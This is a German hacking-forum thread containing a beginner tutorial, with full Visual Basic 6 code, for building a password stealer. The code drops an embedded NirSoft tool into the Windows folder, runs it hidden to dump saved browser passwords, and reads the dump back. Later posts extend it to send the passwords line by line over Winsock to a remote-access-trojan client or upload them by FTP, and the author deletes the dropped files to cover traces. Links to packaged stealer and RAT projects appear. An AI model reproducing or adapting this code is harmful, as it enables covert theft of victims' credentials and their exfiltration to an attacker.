|
Registrieren
Login
Autor
Rausch_
Poster
Anmeldedatum: 03.11.2007
Beiträge: 164
[Text] Passstealer mit nirsoft tools
Verfasst am: 14.12.2007, 17:30
hier zeige ich euch wie ihr mit nirsoft tools passwörter stealen könnt und z.B. an euren clienten schickt. ich denke die meisten hier im board wissen wie man das macht, es ist eher für einsteiger gedacht:
also fangen wir an und erstellen ein neues projekt
dann ordnen wir einen button und eine listbox darauf an.
so nun laden wir uns ein nirsoft tool herunter
http://www.nirsoft.net/password_recovery_tools.html
es ist eig. egal welches, ich nehme einfach mal "IE Pass View"
nachdem entpacken nehmt geht ihr in vb auf add-ins>addin manager, sucht
"VB6 - Ressourcen Editor" und macht ein häkchen bei laden/entladen , und bei bedarf noch bei beim start laden.
nun geht ihr auf extras, ressourcen editor, und klickt dann auf "benutzerdefinierte ressource hinzufügen" und wählt die exe von eurem nirsoft teil aus.
dann klickt ihr noch auf speichern.
nun geht ihr den codeeditor und fügt folgenden code ein, der zwar kommentirt ist, ich aber trotzdem noch erläutern werde
Code:
Private Declare Function WaitForSingleObject Lib _
"kernel32" ( _
ByVal hHandle As Long, _
ByVal dwMilliseconds As Long) As Long
Public Function Wait(ByVal mSek As Long)
WaitForSingleObject -1, mSek
End Function
Private Sub Command1_Click()
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM") ' die exe wird in buffer() gespeichert
Open Environ("windir") & "\pass.exe" For Binary As #1 ' windowspfad & pass.exe wird angelegt und geöffnet
Put #1, , buffer 'buffer() wird in die geöffnete datei geschrieben
Close #1
Shell Environ("windir") & "\pass.exe /stext " & Environ("windir") & "\passes.txt", vbHide
'hier wird die pass.exe ausgeführt, mit dem parameter /stext, der bedeutet das die passwörter in einer datei gespeichert werden
'danach kommt noch der pfad, also windowspfad & \passes.txt
'jetzt warten wir noch kurtz, dass die pass.exe auch die passwörter ausliest
Wait 300
'nun wollen wir die datei lienie für linie auslesen,
'und in einer list anzeigen
'ihr könnt auch zeile für zeile an den clienten senden
Dim zeile As String
Open Environ("windir") & "\passes.txt" For Input As #1
Do While Not EOF(1) 'solange ausfürhren bis das ende der datei erreicht ist
zeile = ""
Line Input #1, zeile ' lese zeile aus
List1.AddItem zeile 'und add sie in die liste
Loop
Close #1
'zum schluss löschen wir die beiten dateien noch
Kill Environ("windir") & "\pass.exe"
Kill Environ("windir") & "\passes.txt"
End Sub
ok nun werde ich den code erklären:
Code:
Private Declare Function WaitForSingleObject Lib _
"kernel32" ( _
ByVal hHandle As Long, _
ByVal dwMilliseconds As Long) As Long
Public Function Wait(ByVal mSek As Long)
WaitForSingleObject -1, mSek
End Function
das gehört zu einer api die es uns erlaubt, eine belibige anzahl von ms zu warten.
Code:
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM") ' die exe wird in buffer() gespeichert
Open Environ("windir") & "\pass.exe" For Binary As #1 ' windowspfad & pass.exe wird angelegt und geöffnet
Put #1, , buffer 'buffer() wird in die geöffnete datei geschrieben
Close #1
hier wird die exe aus der resource entpackt.
environ("windir") gibt den windows pfad aus(bei mir C:\WINDOWS)
wenn ihr noch merh programme eingebunden habt müst ihr die nummer ändern, also 101 in 102 usw.
Code:
Shell Environ("windir") & "\pass.exe /stext " & Environ("windir") & "\passes.txt", vbHide
also hier wird die exe gestartet und per parameter /stext in einer datei gespeichert.
Code:
Do While Not EOF(1) 'solange ausfürhren bis das ende der datei erreicht ist
zeile = ""
Line Input #1, zeile ' lese zeile aus
List1.AddItem zeile 'und add sie in die liste
Loop
hier wird die datei in die listbox geschrieben.
ersetzt "List1.AddItem zeile" in z.B
winsock1.senddata "PASS" & zeile
um die datei zeile für zeile per winsock zu versenden
der rest sollte klar sein
bespiel projekt:
http://rauschatvbx.ra.funpic.de/download/pw-stealer.zip
beispiel im rat:
http://rauschatvbx.ra.funpic.de/download/pwstealer-RAT.zip
mfg
_________________
Zuletzt bearbeitet von Rausch_ am 16.12.2007, 13:40, insgesamt einmal bearbeitet
kackb00n_
Tutorial Leser
Anmeldedatum: 07.12.2007
Beiträge: 42
Verfasst am: 14.12.2007, 18:03
jetzt weis ich endlich wie man Resourcen entpackt
Tix_
Tutorial Leser
Anmeldedatum: 08.06.2007
Beiträge: 51
Verfasst am: 15.12.2007, 16:15
Habe ein Problem , möchte das bei meinem RAT einfügen und lasse die Resource auf befehl beim Server entpacken und wie mache ich das er es so an den Server sendet dass es dort in eine Liste geladen wird ?
c0re_
« Moderator »
Anmeldedatum: 28.11.2007
Beiträge: 425
Verfasst am: 15.12.2007, 20:49
Zuerst Passwort in eine *.txt saven und dann in ListBox einlesen:
Code: Dim erstezeile As String
Dim zweitezeile As String
' deklariert Variablen
Open "C:\deine.txt" For Input As #1
' öffnet die Textdatei
Input #1, erstezeile, zweitezeile
' in der Variable erstezeile wird
' der Inhalt der ersten Zeile
' gespeichert und in der Variable
' zweitezeile der Inhalt der
' zweiten Zeile
Close #1
' schließt die Datei wieder
List1.AddItem erstezeile
List1.AddItem zweitezeile
' schreibt den Text aus
' der Variable erstezeile
' in die erste Zeile der
' ListBox und den Text der
' in der Variable zweitezeile
' gespeichert ist in die
' zweite Zeile der ListBox
' schreibt also die ersten
' beiden Zeilen der *.txt
' in die beiden ersten Zeilen
' der ListBox
Is eigentlich idiotensicher kommentiert.
Rausch_
Poster
Anmeldedatum: 03.11.2007
Beiträge: 164
Verfasst am: 16.12.2007, 13:39
öhm irgendwie versteh ich das nicht^^
naja ich hab mal beispielprojekt hochgeladen:
http://rauschatvbx.ra.funpic.de/download/pwstealer-RAT.zip
der command1_click hab ich in eine sub umgewandelt,
am anfang wird dann "NEW" gesendet, damit der client die list cleard,
dann bei winsock_sendcomplete wird eine variable sendcomplete(boolean) auf true gesetzt, und dann nach dem senden jeder zeile mit
Code:
do
doevents
loop until sendcomplete
wird gewartet bis die zeile auch wirklich gesendet wird
danach wir sendcomplete wieder auf false gesetzt (am anfang der schleife die die datei zeile für zeile einliest)
klingt kompliziert ist es aber nicht.
mfg
splittstyle_
Newbie
Anmeldedatum: 01.12.2007
Beiträge: 6
Verfasst am: 28.03.2008, 17:49
hi wie kann ich die listbox in eine txt speichern und diese dann per FTP hochloaden?
also wie ein ftp upload aufgebaut ist weiss ich:
Open "passes.txt" For Append As #1
Print #1, passes.txt
Dim a As String
Dim b As String
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "..."
.UserName = "..."
.Password = "..."
a = "passes.txt"
b = "passes.txt"
.Execute , "PUT " & a & " " & b
End With
der zeigt mir immer an, dass passes.txt nicht definiert ist obwohl die doch per /stext erstellt wurde.
Bitte um Hilfe bin auch noch ziemlich neu bei der ganzen sache
MfG splittstyle
Rausch_
Poster
Anmeldedatum: 03.11.2007
Beiträge: 164
Verfasst am: 28.03.2008, 18:16
du musst den vollständigen pfad der passes.txt angeben
_________________
marcel1994_
Coder
Anmeldedatum: 08.02.2008
Beiträge: 202
Verfasst am: 28.03.2008, 18:20
vorallendingen musst du die datei mit "Close #1" wieder freigeben! Ganz wichtig.
Verwandte Themen
Aufrufe
Letzter Beitrag
[suche] Tuturials winsock & daten senden
869
09.06.2011, 12:19
Wenn .... = ..... dann zeige ein bestimmtes Icon
711
06.11.2009, 07:03
Wie kann ich mich bei euch anmelden??
796
20.05.2002, 00:28
[Video] *.dll & *.ocx Installer
2432
06.03.2008, 20:19
Eine kleine Frage an euch..
906
30.09.2007, 08:57
